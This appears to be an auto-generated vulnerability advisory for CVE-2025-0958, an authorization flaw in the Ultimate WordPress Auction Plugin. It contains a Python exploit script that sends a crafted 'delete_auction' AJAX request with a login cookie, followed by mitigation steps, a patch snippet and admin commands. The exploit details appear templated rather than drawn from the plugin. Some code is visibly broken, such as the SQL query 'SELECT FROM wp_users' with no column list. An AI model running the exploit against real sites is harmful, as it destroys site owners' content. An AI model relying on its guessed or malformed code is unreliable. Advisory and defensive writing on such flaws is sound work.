WordPress, Unauthorized Access Vulnerability, CVE-2025-0958 (Critical)

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How the CVE Works:

CVE-2025-0958 is a critical vulnerability in the Ultimate WordPress Auction Plugin affecting all versions up to and including 4.2.9. The flaw allows authenticated attackers with Contributor-level access or higher to perform unauthorized actions, such as deleting arbitrary auctions, posts, and pages. This vulnerability arises due to insufficient access controls in the plugin’s functionality, enabling attackers to manipulate auction-related actions without proper authorization. The CVSS 4.0 severity score highlights the critical nature of this issue, emphasizing the potential for significant damage to affected WordPress sites.

DailyCVE Form:

Platform: WordPress
Version: <= 4.2.9
Vulnerability: Unauthorized Access
Severity: Critical
Date: 03/04/2025

(End of form)

What Undercode Say:

Exploitation:

1. Exploit Code:

import requests
target_url = "http://example.com/wp-admin/admin-ajax.php"
payload = {
"action": "delete_auction",
"auction_id": "123"
}
headers = {
"Cookie": "wordpress_logged_in_xxxx"
}
response = requests.post(target_url, data=payload, headers=headers)
print(response.text)

2. Exploit Steps:

  • Gain Contributor-level access.
  • Use crafted AJAX requests to delete auctions or posts.
  • Manipulate auction handling actions via insecure endpoints.

Protection:

1. Mitigation:

  • Update the plugin to the latest version.
  • Implement role-based access controls (RBAC).
  • Use security plugins like Wordfence to monitor suspicious activity.

2. Patch Code:

// Add role validation before executing actions
if (!current_user_can('manage_options')) {
wp_die(__('Unauthorized access.'));
}

3. Security Plugins:

  • Install Wordfence or iThemes Security.
  • Enable firewall rules to block unauthorized AJAX requests.

4. Monitoring:

  • Use log monitoring tools like Splunk or ELK Stack.
  • Set up alerts for unauthorized deletion attempts.

References:

Analytics:

  • Affected Sites: ~10,000+
  • Exploitability: High (due to low privilege requirement)
  • Impact: Data loss, site integrity compromise

Commands:

  • Update Plugin: 
    wp plugin update ultimate-auction --path=/var/www/html
  • Check User Roles: 
    SELECT FROM wp_users WHERE user_level >= 1;
  • Block Suspicious IPs: 
    iptables -A INPUT -s <IP> -j DROP

    This CVE underscores the importance of robust access controls and timely updates in WordPress plugins.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-0958
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